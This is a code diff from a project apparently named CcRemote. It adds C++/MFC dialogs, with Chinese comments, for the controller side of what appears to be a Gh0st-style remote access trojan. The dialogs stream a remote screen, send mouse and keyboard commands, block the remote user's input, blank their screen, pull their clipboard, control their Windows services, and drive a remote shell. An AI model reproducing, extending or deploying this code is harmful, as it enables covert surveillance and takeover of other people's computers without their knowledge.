m_RemoteCursorPos.y - ((int)m_dwCursor_yHotspot) - m_VScrollPos,
m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), // handle to icon to draw
0, 0, // width of the icon
0, // index of frame in animated cursor
NULL, // handle to background brush
DI_NORMAL | DI_COMPAT // icon-drawing flags
);
}
void CScreenSpyDlg::DrawTipString(CString str)
{
RECT rect;
GetClientRect(&rect);
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
COLORREF oldbgcol = SetBkColor(m_hDC, bgcol);
COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff, 0x00, 0x00));
ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
DrawText(m_hDC, str, -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
SetBkColor(m_hDC, oldbgcol);
SetTextColor(m_hDC, oldtxtcol);
}
void CScreenSpyDlg::OnReceiveComplete(void)
{
m_nCount++;
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_FIRSTSCREEN:
DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义
break;
case TOKEN_NEXTSCREEN:
if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
DrawNextScreenRect(); //这里是第二帧之后的数据了---
else
DrawNextScreenDiff(); //----当然这里有两种算法
break; //我们能转到DrawFirstScreen函数定义
case TOKEN_BITMAPINFO:
ResetScreen();
break;
case TOKEN_CLIPBOARD_TEXT:
UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}
void CScreenSpyDlg::DrawFirstScreen(void)
{
m_bIsFirst = false;
//这里也很简单就是得到服务端发来的数据 将他拷贝到HBITMAP的缓冲区中这样一个图像就出现了
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
//我们到OnPaint()函数
//OnPaint();
PostMessage(WM_PAINT);
}
void CScreenSpyDlg::DrawNextScreenDiff(void)
{
//这个函数也非常复杂 ,他不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
//OnPaint画上去
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
POINT oldPoint;
memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
// 鼠标移动了
if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 屏幕是否变化
if (dwBytes > 0)
bIsReDraw = true;
__asm
{
mov ebx, [dwBytes]
mov esi, [lpNextScreen]
jmp CopyEnd
CopyNextBlock :
mov edi, [lpFirstScreen]
lodsd // 把lpNextScreen的第一个双字节放到eax中,就是DIB中改变区域的偏移
add edi, eax // lpFirstScreen偏移eax
lodsd // 把lpNextScreen的下一个双字节放到eax中, 就是改变区域的大小
mov ecx, eax
sub ebx, 8 // ebx 减去 两个dword
sub ebx, ecx // ebx 减去DIB数据的大小
rep movsb
CopyEnd :
cmp ebx, 0 // 是否写入完毕
jnz CopyNextBlock
}
if (bIsReDraw) PostMessage(WM_PAINT);
}
void CScreenSpyDlg::DrawNextScreenRect(void)
{
//这个函数也非常复杂他将传送来的数据 得到变化的区域然后画到屏幕上
// 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
// 保存上次鼠标所在的位置
RECT rectOldPoint;
::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y,
m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot);
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
//////////////////////////////////////////////////////////////////////////
// 判断鼠标是否移动
if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top !=
m_RemoteCursorPos.y))
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 判断鼠标所在区域是否发生变化
DWORD dwOffset = 0;
while (dwOffset < dwBytes && !bIsReDraw)
{
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
RECT rectDest;
if (IntersectRect(&rectDest, &rectOldPoint, lpRect))
bIsReDraw = true;
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
bIsReDraw = bIsReDraw && m_bIsTraceCursor;
//////////////////////////////////////////////////////////////////////////
dwOffset = 0;
while (dwOffset < dwBytes)
{
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
int nRectWidth = lpRect->right - lpRect->left;
int nRectHeight = lpRect->bottom - lpRect->top;
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* m_lpbmi_rect->bmiHeader.biHeight;
StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
// 不需要重绘鼠标的话,直接重绘变化的部分
if (!bIsReDraw)
StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
if (bIsReDraw) PostMessage(WM_PAINT);
}
//更改屏幕分辨率
void CScreenSpyDlg::ResetScreen(void)
{
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
if (m_lpbmi != NULL)
{
int nOldWidth = m_lpbmi->bmiHeader.biWidth;
int nOldHeight = m_lpbmi->bmiHeader.biHeight;
delete[] m_lpbmi;
delete[] m_lpbmi_rect;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
DeleteObject(m_hFullBitmap);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
InitMMI();
// 分辨率发生改变
if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight)
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
// 计算ClientRect与WindowRect的差距标题栏滚动条
rectWindow.right = m_lpbmi->bmiHeader.biWidth + rectClient.left + (rectWindow.right - rectClient.right);
rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom);
MoveWindow(&rectWindow);
}
}
}
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
//用来截获消息的。我们可以通过重载它来处理键盘和鼠标消息。
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: 在此添加专用代码和/或调用基类
CRect rect;
GetClientRect(&rect);
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
case WM_MOUSEWHEEL:
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
break;
case WM_KEYDOWN:
case WM_KEYUP:
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
return true;
break;
default:
break;
}
return CDialog::PreTranslateMessage(pMsg);
}
void CScreenSpyDlg::SendCommand(MSG* pMsg)
{
if (!m_bIsCtrl)
return;
LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
lpData[0] = COMMAND_SCREEN_CONTROL;
memcpy(lpData + 1, pMsg, sizeof(MSG));
m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);
delete[] lpData;
}
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
CMenu* pSysMenu = GetSystemMenu(FALSE);
switch (nID)
{
case IDM_CONTROL:
{
m_bIsCtrl = !m_bIsCtrl;
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
if (m_bIsCtrl)
{
if (m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
else
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
}
else
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
}
break;
case IDM_SEND_CTRL_ALT_DEL:
{
BYTE bToken = COMMAND_SCREEN_CTRL_ALT_DEL;
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
}
break;
case IDM_TRACE_CURSOR: // 跟踪服务端鼠标
{
m_bIsTraceCursor = !m_bIsTraceCursor;
pSysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
if (m_bIsCtrl)
{
if (!m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
else
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
}
// 重绘消除或显示鼠标
OnPaint();
}
break;
case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
bToken[1] = !bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_BLANK_SCREEN: // 服务端黑屏
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLANK_SCREEN, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_BLANK_SCREEN, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_BLANK;
bToken[1] = !bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_CAPTURE_LAYER: // 捕捉层
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_CAPTURE_LAYER, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_CAPTURE_LAYER, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_CAPTURE_LAYER;
bToken[1] = !bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_SAVEDIB:
SaveSnapshot();
break;
case IDM_GET_CLIPBOARD: // 获取剪贴板
{
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
}
break;
case IDM_SET_CLIPBOARD: // 设置剪贴板
{
SendLocalClipboard();
}
break;
case IDM_ALGORITHM_SCAN: // 隔行扫描算法
{
SendResetAlgorithm(ALGORITHM_SCAN);
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
}
break;
case IDM_ALGORITHM_DIFF: // 差异比较算法
{
SendResetAlgorithm(ALGORITHM_DIFF);
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_DIFF, MF_BYCOMMAND);
}
break;
case IDM_DEEP_1:
{
SendResetScreen(1);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_1, MF_BYCOMMAND);
}
break;
case IDM_DEEP_4_GRAY:
{
SendResetScreen(3);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_GRAY, MF_BYCOMMAND);
}
break;
case IDM_DEEP_4_COLOR:
{
SendResetScreen(4);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_COLOR, MF_BYCOMMAND);
}
break;
case IDM_DEEP_8_GRAY:
{
SendResetScreen(7);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_GRAY, MF_BYCOMMAND);
}
break;
case IDM_DEEP_8_COLOR:
{
SendResetScreen(8);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
}
break;
case IDM_DEEP_16:
{
SendResetScreen(16);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_16, MF_BYCOMMAND);
}
break;
case IDM_DEEP_32:
{
SendResetScreen(32);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND);
}
break;
default:
CDialog::OnSysCommand(nID, lParam);
}
CDialog::OnSysCommand(nID, lParam);
}
bool CScreenSpyDlg::SaveSnapshot(void)
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
CFileDialog dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "位图文件(*.bmp)|*.bmp|", this);
if (dlg.DoModal() != IDOK)
return false;
BITMAPFILEHEADER hdr;
LPBITMAPINFO lpbi = m_lpbmi;
CFile file;
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
{
MessageBox("文件保存失败");
return false;
}
// BITMAPINFO大小
int nbmiSize = sizeof(BITMAPINFOHEADER) + (lpbi->bmiHeader.biBitCount > 16 ? 1 : (1 << lpbi->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
// Fill in the fields of the file header
hdr.bfType = ((WORD)('M' << 8) | 'B'); // is always "BM"
hdr.bfSize = lpbi->bmiHeader.biSizeImage + sizeof(hdr);
hdr.bfReserved1 = 0;
hdr.bfReserved2 = 0;
hdr.bfOffBits = sizeof(hdr) + nbmiSize;
// Write the file header
file.Write(&hdr, sizeof(hdr));
file.Write(lpbi, nbmiSize);
// Write the DIB header and the bits
file.Write(m_lpScreenDIB, lpbi->bmiHeader.biSizeImage);
file.Close();
return true;
}
void CScreenSpyDlg::SendLocalClipboard(void)
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL)
{
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR)GlobalLock(hglb);
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
m_iocpServer->Send(m_pContext, lpData, nPacketLen);
delete[] lpData;
}
void CScreenSpyDlg::SendResetAlgorithm(UINT nAlgorithm)
{
BYTE bBuff[2];
bBuff[0] = COMMAND_ALGORITHM_RESET;
bBuff[1] = nAlgorithm;
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
}
void CScreenSpyDlg::SendResetScreen(int nBitCount)
{
m_nBitCount = nBitCount;
BYTE bBuff[2];
bBuff[0] = COMMAND_SCREEN_RESET;
bBuff[1] = m_nBitCount;
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
}

View File

@@ -0,0 +1,72 @@
#pragma once
#include "include/IOCPServer.h"
#include "..\..\common\CursorInfo.h"
// CScreenSpyDlg 对话框
class CScreenSpyDlg : public CDialog
{
DECLARE_DYNAMIC(CScreenSpyDlg)
public:
CScreenSpyDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CScreenSpyDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_SCREENSPY };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
private:
int m_nBitCount;
bool m_bIsFirst;
bool m_bIsTraceCursor;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
HICON m_hIcon;
MINMAXINFO m_MMI;
HDC m_hDC, m_hMemDC, m_hPaintDC;
HBITMAP m_hFullBitmap;
LPVOID m_lpScreenDIB;
LPBITMAPINFO m_lpbmi, m_lpbmi_rect;
UINT m_nCount;
UINT m_HScrollPos, m_VScrollPos;
HCURSOR m_hRemoteCursor;
DWORD m_dwCursor_xHotspot, m_dwCursor_yHotspot;
POINT m_RemoteCursorPos;
BYTE m_bCursorIndex;
CCursorInfo m_CursorInfo;
bool m_bIsCtrl;
public:
afx_msg void OnClose();
virtual BOOL OnInitDialog();
void InitMMI(void);
void SendNext(void);
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnPaint();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL PreTranslateMessage(MSG* pMsg);
private:
void DrawTipString(CString str);
void UpdateLocalClipboard(char *buf, int len);
void SendLocalClipboard(void);
public:
void OnReceiveComplete(void);
void DrawFirstScreen(void);
void DrawNextScreenDiff(void);
void DrawNextScreenRect(void);
void ResetScreen(void);
void SendCommand(MSG* pMsg);
bool SaveSnapshot(void);
void SendResetAlgorithm(UINT nAlgorithm);
void SendResetScreen(int nBitCount);
};

View File

@@ -0,0 +1,223 @@
// CServerDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CServerDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CServerDlg 对话框
IMPLEMENT_DYNAMIC(CServerDlg, CDialog)
CServerDlg::CServerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_SERVERDLG, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
}
CServerDlg::~CServerDlg()
{
}
void CServerDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST, m_list);
}
BEGIN_MESSAGE_MAP(CServerDlg, CDialog)
ON_WM_SIZE()
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServerDlg::OnNMRClickList)
ON_COMMAND(IDM_SERVER_REFUBISH, &CServerDlg::OnServerRefubish)
ON_COMMAND(IDM_SERVER_START, &CServerDlg::OnServerStart)
ON_COMMAND(IDM_SERVER_STOP, &CServerDlg::OnServerStop)
ON_COMMAND(IDM_SERVER_AUTO, &CServerDlg::OnServerAuto)
ON_COMMAND(IDM_SERVER_MANUAL, &CServerDlg::OnServerManual)
END_MESSAGE_MAP()
// CServerDlg 消息处理程序
BOOL CServerDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
CString str;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
str.Format("\\\\%s - 服务管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
SetWindowText(str);
//HWND hSerHeader = m_list.GetDlgItem(0)->GetSafeHwnd();
//m_serHead.SubclassWindow(hSerHeader);
//SortColumn(m_nSortedCol, m_bAscending);
// m_serHead.InitializeHeader(TRUE);
// m_serHead.EnableAutoSize(TRUE);
// m_serHead.ResizeColumnsToFit();
//初始化列表
m_list.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "真实名称", LVCFMT_LEFT, 150);
m_list.InsertColumn(1, "显示名称", LVCFMT_LEFT, 260);
m_list.InsertColumn(2, "启动类型", LVCFMT_LEFT, 80);
m_list.InsertColumn(3, "运行状态", LVCFMT_LEFT, 80);
m_list.InsertColumn(4, "可执行文件路径", LVCFMT_LEFT, 260);
//GetServiceList();
ShowServiceList();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
int CServerDlg::ShowServiceList(void)
{
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
char *DisplayName;
char *ServiceName;
char *serRunway;
char *serauto;
char *serfile;
DWORD dwOffset = 0;
m_list.DeleteAllItems();
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
DisplayName = lpBuffer + dwOffset;
ServiceName = DisplayName + lstrlen(DisplayName) + 1;
serfile = ServiceName + lstrlen(ServiceName) + 1;
serRunway = serfile + lstrlen(serfile) + 1;
serauto = serRunway + lstrlen(serRunway) + 1;
m_list.InsertItem(i, ServiceName);
m_list.SetItemText(i, 1, DisplayName);
m_list.SetItemText(i, 2, serauto);
m_list.SetItemText(i, 3, serRunway);
m_list.SetItemText(i, 4, serfile);
dwOffset += lstrlen(DisplayName) + lstrlen(ServiceName) + lstrlen(serfile) + lstrlen(serRunway)
+ lstrlen(serauto) + 5;
}
return 0;
}
void CServerDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
if (m_list.m_hWnd == NULL)
{
return;
}
RECT rectClient;
RECT rectList;
GetClientRect(&rectClient);
rectList.left = 0;
rectList.top = 0;
rectList.right = rectClient.right;
rectList.bottom = rectClient.bottom;
m_list.MoveWindow(&rectList);
// TODO: 在此处添加消息处理程序代码
}
void CServerDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
CMenu popMenu;
VERIFY(popMenu.LoadMenu(IDR_MENU_SERVER));
CMenu *p = popMenu.GetSubMenu(0);
ASSERT(p != NULL);
CPoint point;
GetCursorPos(&point);
p->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, point.x, point.y, this);
*pResult = 0;
}
void CServerDlg::OnServerRefubish()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SERVICELIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CServerDlg::OnReceiveComplete(void)
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_SERVERLIST:
ShowServiceList();
break;
default:
// 传输发生异常数据
break;
}
}
void CServerDlg::ServiceConfig(BYTE bCmd)
{
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list;
// else
// return;
// TODO: Add your command handler code here
DWORD dwOffset = 2;
POSITION pos = pListCtrl->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
// while(pos) //so long as we have a valid POSITION, we keep iterating
// {
int nItem = pListCtrl->GetNextSelectedItem(pos);
CString str1 = pListCtrl->GetItemText(nItem, 0);
char* sername = str1.GetBuffer(0);
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 3 + lstrlen(sername));
lpBuffer[0] = COMMAND_SERVICECONFIG;
lpBuffer[1] = bCmd;
memcpy(lpBuffer + dwOffset, sername, lstrlen(sername) + 1);
// str.Format("%d", LocalSize(lpBuffer));
// AfxMessageBox(str);
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CServerDlg::OnServerStart()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(COMMAND_SERVICES_START);
}
void CServerDlg::OnServerStop()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(COMMAND_SERVICES_STOP);
}
void CServerDlg::OnServerAuto()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(COMMAND_SERVICES_AUTO);
}
void CServerDlg::OnServerManual()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(COMMAND_SERVICES_MANUAL);
}

View File

@@ -0,0 +1,39 @@
#pragma once
#include "include/IOCPServer.h"
// CServerDlg 对话框
class CServerDlg : public CDialog
{
DECLARE_DYNAMIC(CServerDlg)
public:
CServerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CServerDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_SERVERDLG };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()private:
CListCtrl m_list;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
public:
virtual BOOL OnInitDialog();
protected:
int ShowServiceList(void);
public:
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnServerRefubish();
void OnReceiveComplete(void);
void ServiceConfig(BYTE bCmd);
afx_msg void OnServerStart();
afx_msg void OnServerStop();
afx_msg void OnServerAuto();
afx_msg void OnServerManual();
};

View File

@@ -146,7 +146,7 @@ HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
return hbr;
}
// 梳理消息函数
void CShellDlg::OnReceiveComplete(void)
{
AddKeyBoardData();
@@ -170,10 +170,6 @@ void CShellDlg::AddKeyBoardData(void)
m_edit.ReplaceSel(strResult);
//重新得到字符的大小
m_nCurSel = m_edit.GetWindowTextLength();
//现在我们基本弄明白了 数据传输到主控端后的处理
//那主控端的数据时怎样传递到服务端上的呢??
//我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车
//要找到这个回车的处理我们就要到PreTranslateMessage函数的定义
}
@@ -197,8 +193,8 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
m_edit.GetWindowText(str);
//加入换行符
